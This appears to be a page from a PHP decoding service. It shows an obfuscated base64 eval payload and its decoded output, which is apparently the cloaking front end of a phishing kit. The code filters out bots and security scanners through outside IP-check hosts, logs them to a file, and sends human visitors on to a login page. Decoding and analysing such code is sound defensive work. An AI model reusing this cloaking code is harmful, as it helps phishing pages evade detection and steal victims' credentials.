Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHANCnJlcXVpcmVfb25jZSAnbmF0SndydmgucGhwJzsNCiR0YW5pdGF..
Decoded Output download
?>b'<?php
require_once \'natJwrvh.php\';
$tanitatikaram = parse_ini_file("config.ini", true);
$setting_crawlerdetect=$tanitatikaram[\'setting_crawlerdetect\'];
if($setting_crawlerdetect == \'on\') {
require_once \'crawlerdetect.php\';
}
require_once \'fZJgtKBw.php\';
$tanitatikaram = parse_ini_file("config.ini", true);
$setting_vpn=$tanitatikaram[\'setting_vpn\'];
if($setting_vpn == \'on\') {
require_once \'YzagZscc.php\';
}
session_start();
include\'darkx/antibots.php\';
require_once \'LkYfPdwu.php\';
include\'darkx/recon.php\';
$ch=curl_init();
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_URL,"https://api.iptrooper.net/check/".$_SESSION[\'ip\']."?full=1");
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,0);
curl_setopt($ch,CURLOPT_TIMEOUT,400);
$json=curl_exec($ch);
$ch=curl_init();
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_URL,"https://spox-coder.info/spox/check_ip.php?ip=".$lp."");
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,0);
curl_setopt($ch,CURLOPT_TIMEOUT,400);
$json=curl_exec($ch);
curl_close($ch);
$check = trim(strip_tags(get_string_between($json,\'"bad":\',\',"\')));
$type = trim(strip_tags(get_string_between($json,\'"type":"\',\'"\')));
$key = substr(sha1(mt_rand()),1,25);
require_once \'MacHemsworth/UqrqUurL.php\';
if ($check == "true") {
$content = "#>".$_SESSION[\'ip\']." [ ".$type." ] - [ ".$_SESSION[\'country\']." ] - [ ".$_SESSION[\'countrycode\']." ]
";
$save=fopen("darkx/access/bots.txt","a+");
fwrite($save,$content);
fclose($save);
header("HTTP/1.0 404 Not Found");exit();
}
else {
$key = substr(sha1(mt_rand()),1,25);
header("Location: login.php?online_id=".$key."&country=".$_SESSION[\'country\']."&iso=".$_SESSION[\'countrycode\']."");
}
?>'
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode("PD9waHANCnJlcXVpcmVfb25jZSAnbmF0SndydmgucGhwJzsNCiR0YW5pdGF0aWthcmFtID0gcGFyc2VfaW5pX2ZpbGUoImNvbmZpZy5pbmkiLCB0cnVlKTsNCiRzZXR0aW5nX2NyYXdsZXJkZXRlY3Q9JHRhbml0YXRpa2FyYW1bJ3NldHRpbmdfY3Jhd2xlcmRldGVjdCddOw0KaWYoJHNldHRpbmdfY3Jhd2xlcmRldGVjdCA9PSAnb24nKSB7DQpyZXF1aXJlX29uY2UgJ2NyYXdsZXJkZXRlY3QucGhwJzsNCn0NCnJlcXVpcmVfb25jZSAnZlpKZ3RLQncucGhwJzsNCiR0YW5pdGF0aWthcmFtID0gcGFyc2VfaW5pX2ZpbGUoImNvbmZpZy5pbmkiLCB0cnVlKTsNCiRzZXR0aW5nX3Zwbj0kdGFuaXRhdGlrYXJhbVsnc2V0dGluZ192cG4nXTsNCmlmKCRzZXR0aW5nX3ZwbiA9PSAnb24nKSB7DQpyZXF1aXJlX29uY2UgJ1l6YWdac2NjLnBocCc7DQp9DQpzZXNzaW9uX3N0YXJ0KCk7DQppbmNsdWRlJ2Rhcmt4L2FudGlib3RzLnBocCc7DQpyZXF1aXJlX29uY2UgJ0xrWWZQZHd1LnBocCc7DQppbmNsdWRlJ2Rhcmt4L3JlY29uLnBocCc7DQokY2g9Y3VybF9pbml0KCk7IA0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsZmFsc2UpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VUkwsImh0dHBzOi8vYXBpLmlwdHJvb3Blci5uZXQvY2hlY2svIi4kX1NFU1NJT05bJ2lwJ10uIj9mdWxsPTEiKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULDApOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVElNRU9VVCw0MDApOw0KJGpzb249Y3VybF9leGVjKCRjaCk7DQokY2g9Y3VybF9pbml0KCk7IA0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsZmFsc2UpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VUkwsImh0dHBzOi8vc3BveC1jb2Rlci5pbmZvL3Nwb3gvY2hlY2tfaXAucGhwP2lwPSIuJGxwLiIiKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULDApOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVElNRU9VVCw0MDApOw0KJGpzb249Y3VybF9leGVjKCRjaCk7DQpjdXJsX2Nsb3NlKCRjaCk7DQokY2hlY2sgPSB0cmltKHN0cmlwX3RhZ3MoZ2V0X3N0cmluZ19iZXR3ZWVuKCRqc29uLCciYmFkIjonLCcsIicpKSk7DQokdHlwZSA9IHRyaW0oc3RyaXBfdGFncyhnZXRfc3RyaW5nX2JldHdlZW4oJGpzb24sJyJ0eXBlIjoiJywnIicpKSk7DQoka2V5ID0gc3Vic3RyKHNoYTEobXRfcmFuZCgpKSwxLDI1KTsNCnJlcXVpcmVfb25jZSAnTWFjSGVtc3dvcnRoL1VxcnFVdXJMLnBocCc7DQogaWYgKCRjaGVjayA9PSAidHJ1ZSIpIHsNCiRjb250ZW50ID0gIiM+Ii4kX1NFU1NJT05bJ2lwJ10uIiBbICIuJHR5cGUuIiBdIC0gWyAiLiRfU0VTU0lPTlsnY291bnRyeSddLiIgXSAtIFsgIi4kX1NFU1NJT05bJ2NvdW50cnljb2RlJ10uIiBdXHJcbiI7DQokc2F2ZT1mb3BlbigiZGFya3gvYWNjZXNzL2JvdHMudHh0IiwiYSsiKTsNCmZ3cml0ZSgkc2F2ZSwkY29udGVudCk7DQpmY2xvc2UoJHNhdmUpOw0KaGVhZGVyKCJIVFRQLzEuMCA0MDQgTm90IEZvdW5kIik7ZXhpdCgpOw0KfQ0KZWxzZSB7DQoka2V5ID0gc3Vic3RyKHNoYTEobXRfcmFuZCgpKSwxLDI1KTsNCmhlYWRlcigiTG9jYXRpb246IGxvZ2luLnBocD9vbmxpbmVfaWQ9Ii4ka2V5LiImY291bnRyeT0iLiRfU0VTU0lPTlsnY291bnRyeSddLiImaXNvPSIuJF9TRVNTSU9OWydjb3VudHJ5Y29kZSddLiIiKTsNCn0NCj8+")); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 38e5694e143881c8d92ddc21b3de856c |
Eval Count | 1 |
Decode Time | 92 ms |